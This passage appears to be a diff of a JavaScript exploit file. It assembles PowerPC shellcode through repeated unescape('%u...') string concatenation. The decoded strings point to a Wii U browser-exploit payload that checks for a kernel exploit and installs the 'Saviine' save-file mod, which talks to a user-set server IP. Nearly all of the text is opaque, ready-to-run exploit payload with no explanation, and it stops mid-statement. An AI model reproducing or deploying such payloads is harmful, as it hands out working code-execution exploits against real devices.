unescape("%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78"); - str += unescape("%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u327d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001"); - str += unescape("%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001"); - str += unescape("%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf889%u3d40%u1000%u614a%u00e4%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000"); - str += unescape("%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u3d20%u011e"); - str += unescape("%u8129%uf28c%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf290%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf294%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000"); - str += unescape("%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0"); - str += unescape("%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u71e5%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6"); - str += unescape("%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6"); - str += unescape("%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7155%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6"); - str += unescape("%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf2a0%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78"); - str += unescape("%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4bff%uf7bd%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0"); - str += unescape("%u8129%uf2a4%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054"); - str += unescape("%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000"); - str += unescape("%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4bff%uf709%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4"); - str += unescape("%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4bff%uf7a9%u3d20%u011e%u8001%u0014%u8129%uf2a8%u7fe3%ufb78%u7c08%u03a6"); - str += unescape("%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058"); - str += unescape("%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4bff%uf715"); - str += unescape("%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf2ac%u7fc3%uf378%u83e1%u000c%u7c08%u03a6%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48"); - str += unescape("%u7c08%u02a6%u3928%u0001%u92a1%u028c%u7cd5%u3378%u9301%u0298%u7c98%u2378%u9361%u02a4%u7ca4%u2b78%u93e1%u02b4%u7cfb%u3b78%u7cbf%u2b78%u38e0%uffff%u7cc5%u3378%u38c1%u027c%u93c1%u02b0%u7c7e%u1b78"); - str += unescape("%u9001%u02bc%u9281%u0288%u92c1%u0290%u92e1%u0294%u9321%u029c%u9341%u02a0%u9381%u02a8%u93a1%u02ac%u9101%u027c%u9121%u0278%u4be9%u0ad1%u2c03%u0000%u4082%u02f4%u3940%u0072%u3f80%u1000%u9941%u0280"); - str += unescape("%u3b20%u002f%u9861%u0281%u3b40%u0000%u639c%u00e4%u571d%u103a%u3ec0%u1005%u3ee0%u100b%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0b79%u2f83%u0000%u409e%u01f8%u8975%u0000"); - str += unescape("%u2f8b%u0000%u419e%u0294%u3981%u016b%u3920%u0000%u3929%u0001%u9d6c%u0001%u7d75%u48ae%u2f8b%u0000%u409e%ufff0%u3989%u0001%u8961%u006c%u3941%u0008%u7d2a%u4a14%u2f8b%u0000%u9b29%u0164%u419e%u0028"); - str += unescape("%u3921%u016c%u38cc%uffff%u7cc9%u3214%u3921%u006c%u9d66%u0001%u398c%u0001%u8d69%u0001%u2f8b%u0000%u409e%ufff0%u3941%u0008%u3881%u016c%u7d8a%u6214%u38a0%u00fb%u9b4c%u0164%u813c%u0000%u7c69%ue82e"); - str += unescape("%u4bff%ufa01%u8121%u0008%u2f89%u0000%u419c%u01bc%u3920%u0066%u9b41%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813c%u0000"); - str += unescape("%u7c69%ue82e%u4bff%uf9bd%u7fc3%uf378%u7fe4%ufb78%u38a1%u016c%u38c1%u0280%u38e1%u0278%u7f68%udb78%u4be9%u0285%u2f83%u0000%u41bc%ufef4%u813c%u0000%u3881%u016c%u38a0%u00fb%u7c69%ue82e%u4bff%uf985"); - str += unescape("%u813c%u0000%u80c1%u0278%u7f04%uc378%u7c69%ue82e%u38a1%u016c%u4bff%uf509%u8136%ue9c0%u3860%u0000%u3880%u0040%u6063%uc800%u7d29%u03a6%u4e80%u0421%u7c74%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue82e"); - str += unescape("%u4bff%uf631%u8101%u0278%u38e0%u0000%u7fe4%ufb78%u7e85%ua378%u3920%u0000%u38c0%u0001%u60e7%uc800%u7f6a%udb78%u7fc3%uf378%u4be9%u0389%u7e84%ua378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813c%u0000"); - str += unescape("%u419d%uffb8%u7c69%ue82e%u3881%u0274%u80a1%u0278%u4bff%uf70d%u80a1%u0278%u7f67%udb78%u7fe4%ufb78%u38c0%u0000%u7fc3%uf378%u4be9%u0771%u8137%u487c%u7e83%ua378%u7d29%u03a6%u4e80%u0421%u80a1%u0278"); - str += unescape("%u7fe4%ufb78%u38c0%uffff%u7fc3%uf378%u4be9%u02a5%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0985%u2f83%u0000%u419e%ufe10%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c0%u0000"); - str += unescape("%u4be9%u08e9%u3860%u0000%u8001%u02bc%u8281%u0288%u7c08%u03a6%u82a1%u028c%u82c1%u0290%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4"); - str += unescape("%u3821%u02b8%u4e80%u0020%u3920%u0064%u9b41%u026f%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813c%u0000%u7c69%ue82e%u4bff%uf80d%u8101%u0278%u7fc3%uf378"); - str += unescape("%u7f04%uc378%u7fe5%ufb78%u38c1%u016c%u7f67%udb78%u4bff%ufcad%u4bff%ufd48%u3980%u0001%u3920%u0000%u4bff%ufd88%u3860%uffff%u4bff%uff60%u9421%ufea8%u7c08%u02a6%u3920%u0030%u38e0%u002f%u93e1%u0154"); - str += unescape("%u3be0%u006c%u9001%u015c%u3800%u0076%u9be1%u010b%u3be0%u0073%u9921%u0115%u3900%u006f%u9921%u0116%u3940%u0000%u9921%u0117%u3960%u006d%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063"); - str += unescape("%u98e1%u0108%u9801%u0109%u98e1%u010c%u9be1%u010d%u3be0%u0061%u9801%u010f%u3800%u0065%u98e1%u0111%u38e0%u0038%u9921%u0120%u3920%u006e%u9341%u0140%u7c7a%u1b78%u9361%u0144%u7c9b%u2378%u9381%u0148"); - str += unescape("%u7cbc%u2b78%u93a1%u014c%u7cdd%u3378%u93c1%u0150%u3bc0%u0000%u9901%u010a%u9941%u0112%u98e1%u0114%u38e1%u0109%u9941%u011c%u9901%u0121%u9321%u013c%u9be1%u010e%u9801%u0110%u9961%u0122%u9961%u0123"); - str += unescape("%u9901%u0124%u3901%u0007%u9921%u0125%u3920%u0076%u9941%u0126%u3940%u002f%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b3e%uffff%u7f29%uca14"); - str += unescape("%u38c1%u0115%u7f27%ucb78%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028"); - str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u005c%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u005c%u3900%u0032%u7f43%ud378%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u4bff%ufb01"); - str += unescape("%u7fe9%u2670%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffac%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffac%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffac%u3901%u0121"); - str += unescape("%u7f2a%ucb78%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f20%u1000%u9bfe%u0008%u6339%u00e4%u57be%u103a%u3881%u0008"); - str += unescape("%u8139%u0000%u38a0%u00fb%u7c69%uf02e%u4bff%uf5b5%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u7f43%ud378%u3900%u003c%u4bff%ufa55%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e"); - str += unescape("%u9921%u012a%u3920%u0065%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u8139%u0000%u7c69%uf02e%u4bff%uf559%u8001%u015c%u8321%u013c%u7c08%u03a6%u8341%u0140%u8361%u0144"); - str += unescape("%u8381%u0148%u83a1%u014c%u83c1%u0150%u83e1%u0154%u3821%u0158%u4e80%u0020%u7c08%u02a6%u9421%uffe0%u3d20%u1000%u6129%u00e4%u9381%u0010%u9001%u0024%u7cbc%u2b78%u93a1%u0014%u7cdd%u3378%u8169%u0000"); - str += unescape("%u3d20%u0a00%u93c1%u0018%u7c9e%u2378%u7f8b%u4800%u93e1%u001c%u7c7f%u1b78%u419e%u0038%u3940%u0020%u392b%u007c%u38c0%u0000%u7d49%u03a6%u4800%u000c%u38c6%u0001%u4240%u001c%u8509%u0004%u7f9f%u4000"); - str += unescape("%u409e%ufff0%u812b%u0280%u2f89%u0000%u419e%u0040%u3d20%u011e%u8001%u0024%u8129%uf2b0%u7fe3%ufb78%u7fc4%uf378%u83e1%u001c%u83c1%u0018%u7f85%ue378%u7fa6%ueb78%u8381%u0010%u83a1%u0014%u7d29%u03a6"); - str += unescape("%u3821%u0020%u7c08%u03a6%u4e80%u0420%u7fe3%ufb78%u7fc4%uf378%u7ce5%u3b78%u90e1%u0008%u4bff%ufc91%u3d20%u1000%u6129%u00e4%u3940%u0002%u8129%u0000%u7fe3%ufb78%u8001%u0024%u7fc4%uf378%u9149%u0280"); - str += unescape("%u3d20%u011e%u8129%uf2b0%u7f85%ue378%u80e1%u0008%u7fa6%ueb78%u8381%u0010%u7d29%u03a6%u83a1%u0014%u83c1%u0018%u7c08%u03a6%u83e1%u001c%u3821%u0020%u4e80%u0420%u0000%u0000%u0000%u0000%u0000%u0000"); - str += unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u12b4%u636f%u7265%u696e%u6974%u2e72%u706c%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852"); - str += unescape("%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365"); - str += unescape("%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963"); - str += unescape("%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363"); - str += unescape("%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000"); - str += unescape("%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e"); - str += unescape("%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074"); - str += unescape("%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00%u7676%u7600%u0000%u1eb0%u0000%u1eb4%u0000%u1eb8%u0000%u1ebc"); - str += unescape("%u0000%u1ec0%u0000%u1ec4%u0000%u1ec8%u0000%u1ecc%u0000%u1ed0%u0000%u1ed4%u0000%u1ed8%u0000%u1edc%u0000%u1ee0%u0000%u1ee4%u0000%u1ee8%u0000%u1eec%u0000%u1ef0%u0000%u1ef4%u0000%u1ef8%u0000%u1efc"); - str += unescape("%u0000%u1f00%u0000%u1f04%u0000%u1f08%u0000%u1f0c%u0000%u1f10%u0000%u1f14%u0000%u1f18%u0000%u1f1c%u0000%u1f20%u0000%u1f24%u0000%u1f28%u0000%u1f2c%u0000%u1f30%u0000%u1f34%u0000%u1f38%u0000%u1f3c"); - str += unescape("%u0000%u1f40%u0000%u1f44%u0000%u1f48%u0000%u1f4c%u0000%u1f50%u0000%u1f54%u0000%u1f58%u0000%u1f5c%u0000%u1f60%u0000%u1f64%u0000%u1f68%u0000%u1f6c%u0000%u1f70%u0000%u1f74%u0000%u1f78%u0000%u1f7c"); - str += unescape("%u0000%u1f80%u0000%u1f84%u0000%u1f88%u0000%u1f8c%u0000%u1f90%u0000%u1f94%u0000%u1f98%u0000%u1f9c%u0000%u1fa0%u0000%u1fa4%u0000%u1fa8%u0000%u1fac%u0000%u1fb0%u0000%u1fb4%u0000%u1fb8%u0000%u1fbc"); - str += unescape("%u0000%u1fc0%u0000%u1fc4%u0000%u1fc8%u0000%u1fcc%u0000%u1fd0%u0000%u1fd4%u0000%u1fd8%u0000%u1fdc%u0000%u1fe0%u0000%u1fe4%u0000%u1fe8%u0000%u1fec%u0000%u1ff0%u0000%u1ff4%u0000%u1ff8%u0000%u1ffc"); - str += unescape("%u0000%u2000%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c"); + str += unescape("%u4bee%u1e89%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c"); + str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u1625%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u34e9"); + str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u1b15%u2f83%u0000%u419c%u0070%u3c80%u1001"); + str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u6d39%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c"); + str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u3585%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6"); + str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u3558%u7c08%u02a6%u9421%uffd0%u93a1%u0024%u3fa0%u1000%u9001%u0034%u63bd%u00e4%u9361%u001c%u7cdb%u3378%u813d%u0000"); + str += unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93c1%u0028%u7cbe%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u2b5d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001"); + str += unescape("%u9149%u0284%u419e%u0130%u391e%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3d%u0b78"); + str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0110%u7cfe%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378"); + str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u00a0%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u2f83%u0000%u419c%u0014%u893f%u0008%u3bc0%u0001%u2b89%u0008%u419e%u0008%u3bc0%u0002%u7f83%ue378%u389f%u0008"); + str += unescape("%u38a0%u0001%u4bff%ufd3d%u2f83%u0000%u419c%u005c%u893f%u0008%u2b89%u00fe%u409e%u0050%u3d20%u1000%u3940%u0000%u6129%u00e4%u397f%u0030%u8129%u0000%u7fc3%uf378%u9149%u0284%u8121%u0000%u913d%u0000"); + str += unescape("%u7fa1%ueb78%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u8121%u0000%u913d%u0000%u7fa1%ueb78%u397f%u0030%u800b%u0004%u3d20%u1000"); + str += unescape("%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u3860%uffff%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%ufeec"); + str += unescape("%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024"); + str += unescape("%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018%u4bf7%u2971%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036"); + str += unescape("%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001"); + str += unescape("%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufb21%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufba5%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6"); + str += unescape("%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c"); + str += unescape("%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u2855%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0"); + str += unescape("%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufa45%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001"); + str += unescape("%u4bff%ufac1%u2f83%u0000%u419c%u0060%u8921%u0010%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufa9d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000"); + str += unescape("%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000"); + str += unescape("%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78"); + str += unescape("%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u2721%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284"); + str += unescape("%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008%u93a1%u0009%u93c1%u000d%u4bff%uf915%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020"); + str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc"); + str += unescape("%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u2661%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284"); + str += unescape("%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6"); + str += unescape("%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf7f9%u3d40%u1000%u614a%u00e4"); + str += unescape("%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020"); + str += unescape("%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u1414%u636f%u7265%u696e%u6974%u2e72%u706c"); + str += unescape("%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661"); + str += unescape("%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564"); + str += unescape("%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e"); + str += unescape("%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363"); + str += unescape("%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000"); + str += unescape("%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665"); + str += 